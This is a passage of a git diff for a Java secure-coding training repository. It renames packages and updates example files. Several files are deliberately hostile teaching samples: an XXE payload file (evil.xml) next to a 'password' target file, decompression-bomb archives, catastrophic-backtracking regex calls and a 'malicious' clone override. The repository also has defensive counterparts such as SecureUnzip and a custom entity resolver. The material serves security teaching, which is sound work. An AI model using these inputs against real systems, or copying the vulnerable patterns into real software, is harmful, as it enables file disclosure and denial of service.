--- a/JavaSCR/src/main/java/IDS08J/LogSearch.java +++ b/JavaSCR9/src/main/java/IDS08J/LogSearch.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -38,7 +38,7 @@ private static void FindLogEntryBad(String search) { // Construct regex dynamically from user string String regex = "(.*? +public\\[\\d+\\] +.*" + search + ".*)"; Pattern searchPattern = Pattern.compile(regex); - try (FileInputStream fis = new FileInputStream("JavaSCR/src/main/java/IDS08J/log.txt"); FileChannel channel = fis.getChannel()) { + try (FileInputStream fis = new FileInputStream("JavaSCR9/src/main/java/IDS08J/log.txt"); FileChannel channel = fis.getChannel()) { // Get the file's size and map it into memory long size = channel.size(); final MappedByteBuffer mappedBuffer = channel.map(FileChannel.MapMode.READ_ONLY, 0, size); @@ -67,7 +67,7 @@ private static void FindLogEntryQuote(String search) { // Construct regex dynamically from user string String regex = "(.*? +public\\[\\d+\\] +.*" + Pattern.quote(search) + ".*)"; Pattern searchPattern = Pattern.compile(regex); - try (FileInputStream fis = new FileInputStream("JavaSCR/src/main/java/IDS08J/log.txt"); FileChannel channel = fis.getChannel()) { + try (FileInputStream fis = new FileInputStream("JavaSCR9/src/main/java/IDS08J/log.txt"); FileChannel channel = fis.getChannel()) { // Get the file's size and map it into memory long size = channel.size(); final MappedByteBuffer mappedBuffer = channel.map(FileChannel.MapMode.READ_ONLY, 0, size); diff --git a/JavaSCR/src/main/java/IDS08J/ReDoS.java b/JavaSCR9/src/main/java/IDS08J/ReDoS.java similarity index 91% rename from JavaSCR/src/main/java/IDS08J/ReDoS.java rename to JavaSCR9/src/main/java/IDS08J/ReDoS.java index d173a1f..8a097f2 100644 --- a/JavaSCR/src/main/java/IDS08J/ReDoS.java +++ b/JavaSCR9/src/main/java/IDS08J/ReDoS.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -37,7 +37,11 @@ public static void main(String[] args) { System.out.println(ax4.matches("^(a+)+$")); System.out.println(ax16.matches("^(a+)+$")); - // System.out.println(ax32.matches("^(a+)+$")); + System.out.println(ax32.matches("^(a+)+$")); + + System.out.println(a103.matches("(a|a)*")); + + System.out.println(a103.matches("(a|a)+$")); System.out.println(a002.matches("(aa|aab?)*")); System.out.println(a003.matches("(aa|aab?)*")); diff --git a/JavaSCR/src/main/java/IDS08J/log.txt b/JavaSCR9/src/main/java/IDS08J/log.txt similarity index 100% rename from JavaSCR/src/main/java/IDS08J/log.txt rename to JavaSCR9/src/main/java/IDS08J/log.txt diff --git a/JavaSCR/src/main/java/MET05J/overridable.java b/JavaSCR9/src/main/java/MET05J/overridable.java similarity index 97% rename from JavaSCR/src/main/java/MET05J/overridable.java rename to JavaSCR9/src/main/java/MET05J/overridable.java index d18ff7b..a854259 100644 --- a/JavaSCR/src/main/java/MET05J/overridable.java +++ b/JavaSCR9/src/main/java/MET05J/overridable.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/MET05J/subClass.java b/JavaSCR9/src/main/java/MET05J/subClass.java similarity index 87% rename from JavaSCR/src/main/java/MET05J/subClass.java rename to JavaSCR9/src/main/java/MET05J/subClass.java index 9a9d6ae..33786a1 100644 --- a/JavaSCR/src/main/java/MET05J/subClass.java +++ b/JavaSCR9/src/main/java/MET05J/subClass.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -23,16 +23,16 @@ package MET05J; class subClass extends superClass { - private String color = null; + private final String color; public subClass() { super(); - this.color = "Red"; //$NON-NLS-1$ + this.color = "Red"; } @Override public void doLogic() { - System.out.println("subclass: color is: " + this.color); //$NON-NLS-1$ + System.out.println("subclass: color is: " + this.color); // ... } } \ No newline at end of file diff --git a/JavaSCR/src/main/java/MET05J/superClass.java b/JavaSCR9/src/main/java/MET05J/superClass.java similarity index 100% rename from JavaSCR/src/main/java/MET05J/superClass.java rename to JavaSCR9/src/main/java/MET05J/superClass.java diff --git a/JavaSCR/src/main/java/MET06J/BadClone.java b/JavaSCR9/src/main/java/MET06J/BadClone.java similarity index 98% rename from JavaSCR/src/main/java/MET06J/BadClone.java rename to JavaSCR9/src/main/java/MET06J/BadClone.java index 77c0e82..adead5b 100644 --- a/JavaSCR/src/main/java/MET06J/BadClone.java +++ b/JavaSCR9/src/main/java/MET06J/BadClone.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal diff --git a/JavaSCR/src/main/java/MET06J/SubCloneExample.java b/JavaSCR9/src/main/java/MET06J/SubCloneExample.java similarity index 86% rename from JavaSCR/src/main/java/MET06J/SubCloneExample.java rename to JavaSCR9/src/main/java/MET06J/SubCloneExample.java index fd5c24c..e2b9fc5 100644 --- a/JavaSCR/src/main/java/MET06J/SubCloneExample.java +++ b/JavaSCR9/src/main/java/MET06J/SubCloneExample.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -38,14 +38,13 @@ public Object clone() throws CloneNotSupportedException { } // Malicious override sets the values of the domain names. -// void doSomething() { -// // Erroneously called from badClone::clone() -// // Objects are modified before deep copy occurs -// for (int i = 0; i < cookies.length; i++) { -// cookies[i].setDomain(i + ".foo.com"); -// } -// return; -// } + void doSomething() { + // Erroneously called from badClone::clone() + // Objects are modified before deep copy occurs + for (int i = 0; i < cookies.length; i++) { + cookies[i].setDomain(i + ".foo.com"); + } + } public static void main(String[] args) throws CloneNotSupportedException { HttpCookie[] hc = new HttpCookie[5]; diff --git a/JavaSCR/src/main/java/MET12J/baseClass.java b/JavaSCR9/src/main/java/MET12J/baseClass.java similarity index 100% rename from JavaSCR/src/main/java/MET12J/baseClass.java rename to JavaSCR9/src/main/java/MET12J/baseClass.java diff --git a/JavaSCR/src/main/java/MET12J/subClass.java b/JavaSCR9/src/main/java/MET12J/subClass.java similarity index 91% rename from JavaSCR/src/main/java/MET12J/subClass.java rename to JavaSCR9/src/main/java/MET12J/subClass.java index 7864a9d..c688d2c 100644 --- a/JavaSCR/src/main/java/MET12J/subClass.java +++ b/JavaSCR9/src/main/java/MET12J/subClass.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2019 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -52,7 +52,7 @@ public void doLogic() throws Throwable { // Inconsistent object state System.out.println( - "This is sub-class! The date object is: " + this.d); //$NON-NLS-1$ + "This is sub-class! The date object is: " + this.d); // 'd' is already null } @@ -60,8 +60,10 @@ public void doLogic() throws Throwable { public static void main(String[] args) { try { baseClass bc = new subClass(); + // todo: this needs to be fixed // Artificially simulate finalization (do not do this) - System.runFinalizersOnExit(true); + System.runFinalization(); + // System.runFinalizersOnExit(true); } catch (Throwable t) { // Handle error } diff --git a/JavaSCR/src/main/java/STR03J/ByteToString.java b/JavaSCR9/src/main/java/STR03J/ByteToString.java similarity index 87% rename from JavaSCR/src/main/java/STR03J/ByteToString.java rename to JavaSCR9/src/main/java/STR03J/ByteToString.java index 1b976e2..d82d370 100644 --- a/JavaSCR/src/main/java/STR03J/ByteToString.java +++ b/JavaSCR9/src/main/java/STR03J/ByteToString.java @@ -24,19 +24,20 @@ import java.io.UnsupportedEncodingException; import java.math.BigInteger; +import java.nio.charset.StandardCharsets; class ByteToString { private static BigInteger StringToBigInteger(String s) throws UnsupportedEncodingException { - String ns = null; - byte[] byteArray = s.getBytes("UTF-8"); //$NON-NLS-1$ - ns = new String(byteArray, "UTF-8"); //$NON-NLS-1$ + String ns; + byte[] byteArray = s.getBytes(StandardCharsets.UTF_8); + ns = new String(byteArray, StandardCharsets.UTF_8); return new BigInteger(ns); } public static void main(String[] args) throws UnsupportedEncodingException { // Generate binary data instead of string data - BigInteger x = new BigInteger("530500452766"); //$NON-NLS-1$ + BigInteger x = new BigInteger("530500452766"); byte[] byteArray = x.toByteArray(); String s = new String(byteArray); try { @@ -45,7 +46,7 @@ public static void main(String[] args) throws UnsupportedEncodingException { nfe.printStackTrace(); } - x = new BigInteger("530500452766"); //$NON-NLS-1$ + x = new BigInteger("530500452766"); s = x.toString(); // valid character data x = StringToBigInteger(s); System.out.println(x); diff --git a/JavaSCR/src/main/java/STR05J/CharsetConversion.java b/JavaSCR9/src/main/java/STR05J/CharsetConversion.java similarity index 100% rename from JavaSCR/src/main/java/STR05J/CharsetConversion.java rename to JavaSCR9/src/main/java/STR05J/CharsetConversion.java diff --git a/JavaSCR/src/main/java/OBJ02J/Account.java b/JavaSCR9/src/main/java/bankHeist/Account.java similarity index 96% rename from JavaSCR/src/main/java/OBJ02J/Account.java rename to JavaSCR9/src/main/java/bankHeist/Account.java index 125e705..5a9138d 100644 --- a/JavaSCR/src/main/java/OBJ02J/Account.java +++ b/JavaSCR9/src/main/java/bankHeist/Account.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ02J; +package bankHeist; class Account { // Maintains all banking-related data such as account balance diff --git a/JavaSCR/src/main/java/OBJ02J/BankAccount.java b/JavaSCR9/src/main/java/bankHeist/BankAccount.java similarity index 97% rename from JavaSCR/src/main/java/OBJ02J/BankAccount.java rename to JavaSCR9/src/main/java/bankHeist/BankAccount.java index 4aeeb2a..4748aa5 100644 --- a/JavaSCR/src/main/java/OBJ02J/BankAccount.java +++ b/JavaSCR9/src/main/java/bankHeist/BankAccount.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ02J; +package bankHeist; class BankAccount extends Account { // Subclass handles authentication diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.7z b/JavaSCR9/src/main/java/bomb/10GB/10GB.7z similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.7z rename to JavaSCR9/src/main/java/bomb/10GB/10GB.7z diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.bz2 b/JavaSCR9/src/main/java/bomb/10GB/10GB.bz2 similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.bz2 rename to JavaSCR9/src/main/java/bomb/10GB/10GB.bz2 diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.gz b/JavaSCR9/src/main/java/bomb/10GB/10GB.gz similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.gz rename to JavaSCR9/src/main/java/bomb/10GB/10GB.gz diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.lz4 b/JavaSCR9/src/main/java/bomb/10GB/10GB.lz4 similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.lz4 rename to JavaSCR9/src/main/java/bomb/10GB/10GB.lz4 diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.lzfse b/JavaSCR9/src/main/java/bomb/10GB/10GB.lzfse similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.lzfse rename to JavaSCR9/src/main/java/bomb/10GB/10GB.lzfse diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.xar b/JavaSCR9/src/main/java/bomb/10GB/10GB.xar similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.xar rename to JavaSCR9/src/main/java/bomb/10GB/10GB.xar diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.xz b/JavaSCR9/src/main/java/bomb/10GB/10GB.xz similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.xz rename to JavaSCR9/src/main/java/bomb/10GB/10GB.xz diff --git a/JavaSCR/src/main/java/ids04j/10GB/10GB.zst b/JavaSCR9/src/main/java/bomb/10GB/10GB.zst similarity index 100% rename from JavaSCR/src/main/java/ids04j/10GB/10GB.zst rename to JavaSCR9/src/main/java/bomb/10GB/10GB.zst diff --git a/JavaSCR/src/main/java/ids04j/SecureUnzip.java b/JavaSCR9/src/main/java/bomb/SecureUnzip.java similarity index 75% rename from JavaSCR/src/main/java/ids04j/SecureUnzip.java rename to JavaSCR9/src/main/java/bomb/SecureUnzip.java index ff92bfa..0b651e1 100644 --- a/JavaSCR/src/main/java/ids04j/SecureUnzip.java +++ b/JavaSCR9/src/main/java/bomb/SecureUnzip.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2025 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,21 +20,18 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package ids04j; +package bomb; -import java.io.BufferedInputStream; -import java.io.BufferedOutputStream; -import java.io.File; -import java.io.FileInputStream; -import java.io.FileOutputStream; -import java.io.IOException; +import java.io.*; +import java.nio.file.Files; +import java.nio.file.Paths; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; public class SecureUnzip { static final int BUFFER = 512; - static final int TOOBIG = 0x6400000; // Max size of unzipped data, 100MB - static final int TOOMANY = 1024; // Max number of files + static final int TOO_BIG = 0x6400000; // Max size of unzipped data, 100MB + static final int TOO_MANY = 1024; // Max number of files private static String validateFilename(String filename, String intendedDir) throws java.io.IOException { File f = new File(filename); @@ -50,35 +47,36 @@ private static String validateFilename(String filename, String intendedDir) thro } public static void unzip(String filename) throws java.io.IOException { - try (ZipInputStream zis = new ZipInputStream(new BufferedInputStream(new FileInputStream(filename)))) { - ZipEntry entry; + try (ZipInputStream zis = new ZipInputStream(Files.newInputStream(Paths.get(filename)))) { + int entries = 0; long total = 0; + ZipEntry entry; while ((entry = zis.getNextEntry()) != null) { System.out.println("Extracting: " + entry); int count; - byte data[] = new byte[BUFFER]; + byte[] data = new byte[BUFFER]; // Write the files to the disk, but ensure that the filename is valid, // and that the file is not insanely big String name = validateFilename(entry.getName(), "."); if (entry.isDirectory()) { - System.out.println("Creating directory " + name); - new File(name).mkdir(); + System.out.println("Creating directory " + name); + if (!new File(name).mkdir()) System.out.println("Failed to create directory" + name); continue; } - try (BufferedOutputStream dest = new BufferedOutputStream(new FileOutputStream(name), BUFFER)) { + try (BufferedOutputStream destination = new BufferedOutputStream(Files.newOutputStream(Paths.get(name)), BUFFER)) { while ((count = zis.read(data, 0, BUFFER)) != -1) { total += count; - if (total >= TOOBIG) { + if (total >= TOO_BIG) { throw new IllegalStateException("Data limit exceeded."); } - dest.write(data, 0, count); + destination.write(data, 0, count); } - dest.flush(); + destination.flush(); } zis.closeEntry(); entries++; - if (entries > TOOMANY) { + if (entries > TOO_MANY) { throw new IllegalStateException("File limited exceeded."); } } // end while more zip file entries @@ -87,7 +85,7 @@ public static void unzip(String filename) throws java.io.IOException { public static void main(String[] args) { try { - unzip("JavaSCR/src/main/java/ids04j/10GB/10GB.zip"); + unzip("JavaSCR9/src/main/java/bomb/10GB/Exercise 1,2,3.zip"); } catch (IOException e) { System.err.println("Could not unzip file."); } diff --git a/JavaSCR/src/main/java/MET09J/CreditCard.java b/JavaSCR9/src/main/java/creditCard/CreditCard.java similarity index 87% rename from JavaSCR/src/main/java/MET09J/CreditCard.java rename to JavaSCR9/src/main/java/creditCard/CreditCard.java index ab5d27b..80af4c1 100644 --- a/JavaSCR/src/main/java/MET09J/CreditCard.java +++ b/JavaSCR9/src/main/java/creditCard/CreditCard.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package MET09J; +package creditCard; import com.google.common.testing.EqualsTester; @@ -35,18 +35,6 @@ private CreditCard(int number) { this.number = number; } -// @Override -// public boolean equals(Object o) { -// if (o == this) { -// return true; -// } -// if (!(o instanceof badCreditCard)) { -// return false; -// } -// badCreditCard cc = (badCreditCard)o; -// return cc.number == number; -// } - @Override public boolean equals(Object o) { if (this == o) return true; @@ -65,6 +53,7 @@ public static void main(String[] args) { // the actual retrieved value is null. System.out.println(m.get(new CreditCard(100))); + // Each group should contain objects that are equal to each other but unequal to the objects in any other group. new EqualsTester() .addEqualityGroup(cc_a, cc_b) .addEqualityGroup(cc_c) diff --git a/JavaSCR/src/main/java/IDS17J/CustomResolver.java b/JavaSCR9/src/main/java/entityResolver/CustomResolver.java similarity index 87% rename from JavaSCR/src/main/java/IDS17J/CustomResolver.java rename to JavaSCR9/src/main/java/entityResolver/CustomResolver.java index f799f2d..1f77cec 100644 --- a/JavaSCR/src/main/java/IDS17J/CustomResolver.java +++ b/JavaSCR9/src/main/java/entityResolver/CustomResolver.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,19 +20,17 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package IDS17J; +package entityResolver; -import java.io.IOException; import org.xml.sax.EntityResolver; import org.xml.sax.InputSource; -import org.xml.sax.SAXException; class CustomResolver implements EntityResolver { @Override - public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException { + public InputSource resolveEntity(String publicId, String systemId) { // Check for known good entities - String entityPath = "file:./JavaSCR/src/main/java/IDS17J/copyright"; + String entityPath = "file:./JavaSCR9/src/main/java/entityResolver/copyright"; if (systemId.equals(entityPath)) { System.out.println("Resolving entity. Public ID " + publicId + ", System ID " + systemId); return new InputSource(entityPath); diff --git a/JavaSCR/src/main/java/IDS17J/XXE.java b/JavaSCR9/src/main/java/entityResolver/XXE.java similarity index 84% rename from JavaSCR/src/main/java/IDS17J/XXE.java rename to JavaSCR9/src/main/java/entityResolver/XXE.java index 9288785..2896056 100644 --- a/JavaSCR/src/main/java/IDS17J/XXE.java +++ b/JavaSCR9/src/main/java/entityResolver/XXE.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. Seacord +// Copyright (c) 2025 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package IDS17J; +package entityResolver; import java.io.FileInputStream; import java.io.IOException; @@ -59,32 +59,35 @@ private static void receiveXMLStream(InputStream inStream, DefaultHandler defaul public static void main(String[] args) throws ParserConfigurationException { - try (FileInputStream fis = new FileInputStream("JavaSCR/src/main/java/IDS17J/evil.xml")) { + try (FileInputStream fis = new FileInputStream("JavaSCR9/src/main/java/entityResolver/evil.xml")) { + // w/o custom resolver allows exploit receiveXMLStreamBad(fis, new DefaultHandler()); } catch (SAXException | IOException ex) { - System.err.println(ex); + ex.printStackTrace(); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); } } - try (FileInputStream fis = new FileInputStream("JavaSCR/src/main/java/IDS17J/good.xml")) { + try (FileInputStream fis = new FileInputStream("JavaSCR9/src/main/java/entityResolver/good.xml")) { + // custom resolver allows valid use case receiveXMLStream(fis, new DefaultHandler()); } catch (SAXException | IOException ex) { - System.err.println(ex); + ex.printStackTrace(); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); } } - try (FileInputStream fis = new FileInputStream("JavaSCR/src/main/java/IDS17J/evil.xml")) { + try (FileInputStream fis = new FileInputStream("JavaSCR9/src/main/java/entityResolver/evil.xml")) { + // custom resolver prevents exploit receiveXMLStream(fis, new DefaultHandler()); } catch (SAXException | IOException ex) { - System.err.println(ex); + ex.printStackTrace(); Throwable[] suppressed = ex.getSuppressed(); for (Throwable aSuppressed : suppressed) { System.err.println("suppressed exception: " + aSuppressed.toString()); diff --git a/JavaSCR9/src/main/java/entityResolver/copyright b/JavaSCR9/src/main/java/entityResolver/copyright new file mode 100644 index 0000000..a4559bb --- /dev/null +++ b/JavaSCR9/src/main/java/entityResolver/copyright @@ -0,0 +1 @@ +Copyright (c) 2022 Robert C. Seacord \ No newline at end of file diff --git a/JavaSCR9/src/main/java/entityResolver/evil.xml b/JavaSCR9/src/main/java/entityResolver/evil.xml new file mode 100644 index 0000000..fe83cbd --- /dev/null +++ b/JavaSCR9/src/main/java/entityResolver/evil.xml @@ -0,0 +1,4 @@ + + ]> + &xxe; \ No newline at end of file diff --git a/JavaSCR9/src/main/java/entityResolver/good.xml b/JavaSCR9/src/main/java/entityResolver/good.xml new file mode 100644 index 0000000..d0f1b6d --- /dev/null +++ b/JavaSCR9/src/main/java/entityResolver/good.xml @@ -0,0 +1,4 @@ + + ]> + ©right; \ No newline at end of file diff --git a/JavaSCR/src/main/java/IDS17J/password b/JavaSCR9/src/main/java/entityResolver/password similarity index 100% rename from JavaSCR/src/main/java/IDS17J/password rename to JavaSCR9/src/main/java/entityResolver/password diff --git a/JavaSCR/src/main/java/MET08J/Card.java b/JavaSCR9/src/main/java/equality/Card.java similarity index 97% rename from JavaSCR/src/main/java/MET08J/Card.java rename to JavaSCR9/src/main/java/equality/Card.java index cb7a6a5..3da9de4 100644 --- a/JavaSCR/src/main/java/MET08J/Card.java +++ b/JavaSCR9/src/main/java/equality/Card.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package MET08J; +package equality; import com.google.common.testing.EqualsTester; diff --git a/JavaSCR/src/main/java/MET08J/CaseInsensitiveString.java b/JavaSCR9/src/main/java/equality/CaseInsensitiveString.java similarity index 94% rename from JavaSCR/src/main/java/MET08J/CaseInsensitiveString.java rename to JavaSCR9/src/main/java/equality/CaseInsensitiveString.java index 85752d8..71bc36a 100644 --- a/JavaSCR/src/main/java/MET08J/CaseInsensitiveString.java +++ b/JavaSCR9/src/main/java/equality/CaseInsensitiveString.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package MET08J; +package equality; // This example defines a CaseInsensitiveString class that // includes a String and overrides the equals() method. The CaseInsensitiveString @@ -32,7 +32,7 @@ import com.google.common.testing.*; final class caseInsensitiveString { - private String s; + private final String s; private caseInsensitiveString(String s) { if (s == null) { @@ -69,10 +69,10 @@ public static void main(String[] args) { try { EqualsTester et = new EqualsTester() - .addEqualityGroup(cis, cis_lc, s) + .addEqualityGroup(cis_lc, cis) .addEqualityGroup(new caseInsensitiveString("hello, world"), new caseInsensitiveString("Hello, World")) .addEqualityGroup(new caseInsensitiveString("CamelCase"), new caseInsensitiveString("camelcase")) - .addEqualityGroup(new caseInsensitiveString("Fred"), "fred") + .addEqualityGroup(new caseInsensitiveString("Fred"), new caseInsensitiveString("fred")) .testEquals(); } catch (NoClassDefFoundError ncdfe) { diff --git a/JavaSCR/src/main/java/MET08J/xCard.java b/JavaSCR9/src/main/java/equality/xCard.java similarity index 90% rename from JavaSCR/src/main/java/MET08J/xCard.java rename to JavaSCR9/src/main/java/equality/xCard.java index b607b58..1926e71 100644 --- a/JavaSCR/src/main/java/MET08J/xCard.java +++ b/JavaSCR9/src/main/java/equality/xCard.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package MET08J; +package equality; import com.google.common.testing.EqualsTester; @@ -36,11 +36,6 @@ private xCard(int number, String type) { @Override public boolean equals(Object o) { -// if (this == o) return true; -// if (!(o instanceof xCard)) return false; -// if (!super.equals(o)) return false; -// xCard xCard = (xCard) o; -// return Objects.equals(suit, xCard.suit); if (this == o) return true; if (!(o instanceof Card)) return false; diff --git a/JavaSCR/src/main/java/MET08J/xCardGood.java b/JavaSCR9/src/main/java/equality/xCardGood.java similarity index 97% rename from JavaSCR/src/main/java/MET08J/xCardGood.java rename to JavaSCR9/src/main/java/equality/xCardGood.java index 65f0bf2..e492d55 100644 --- a/JavaSCR/src/main/java/MET08J/xCardGood.java +++ b/JavaSCR9/src/main/java/equality/xCardGood.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package MET08J; +package equality; import com.google.common.testing.EqualsTester; diff --git a/JavaSCR9/src/main/java/err00j/MethodCallStack.java b/JavaSCR9/src/main/java/err00j/MethodCallStack.java new file mode 100644 index 0000000..3e59776 --- /dev/null +++ b/JavaSCR9/src/main/java/err00j/MethodCallStack.java @@ -0,0 +1,78 @@ +//The MIT License (MIT) +// +//Copyright (c) 2020 Robert C. Seacord +// +//Permission is hereby granted, free of charge, to any person obtaining a copy +//of this software and associated documentation files (the "Software"), to deal +//in the Software without restriction, including without limitation the rights +//to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +//copies of the Software, and to permit persons to whom the Software is +//furnished to do so, subject to the following conditions: +// +//The above copyright notice and this permission notice shall be included in all +//copies or substantial portions of the Software. +// +//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +//IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +//FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +//AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +//LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +//OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +//SOFTWARE. + +package err00j; + +import java.lang.UnsupportedOperationException; + +class MethodCallStack { + + public static void main(String[] args) { + System.out.println("Enter main()"); + try { + methodA(); + } + catch (UnsupportedOperationException uoe) { + uoe.printStackTrace(); + } + System.out.println("Exit main()"); + } + + private static void methodA() { + System.out.println("Enter methodA()"); + try { + methodB(); + } + finally { + System.out.println("methodA() finally block"); + } + System.out.println("Exit methodA()"); + } + + private static void methodB() { + System.out.println("Enter methodB()"); + try { + methodC(); + } + finally { + System.out.println("methodB() finally block"); + } + System.out.println("Exit methodB()"); + } + + private static void methodC() { + System.out.println("Enter methodC()"); + try { + methodD(); + } + finally { + System.out.println("methodC() finally block"); + } + System.out.println("Exit methodC()"); + } + + private static void methodD() { + System.out.println("Enter methodD()"); + throw new UnsupportedOperationException(); + // unreachable + } +} diff --git a/JavaSCR/src/main/java/ERR03J/Dimensions.java b/JavaSCR9/src/main/java/err03j/Dimensions.java similarity index 91% rename from JavaSCR/src/main/java/ERR03J/Dimensions.java rename to JavaSCR9/src/main/java/err03j/Dimensions.java index e5561b7..f634fc7 100644 --- a/JavaSCR/src/main/java/ERR03J/Dimensions.java +++ b/JavaSCR9/src/main/java/err03j/Dimensions.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2017 Robert C. 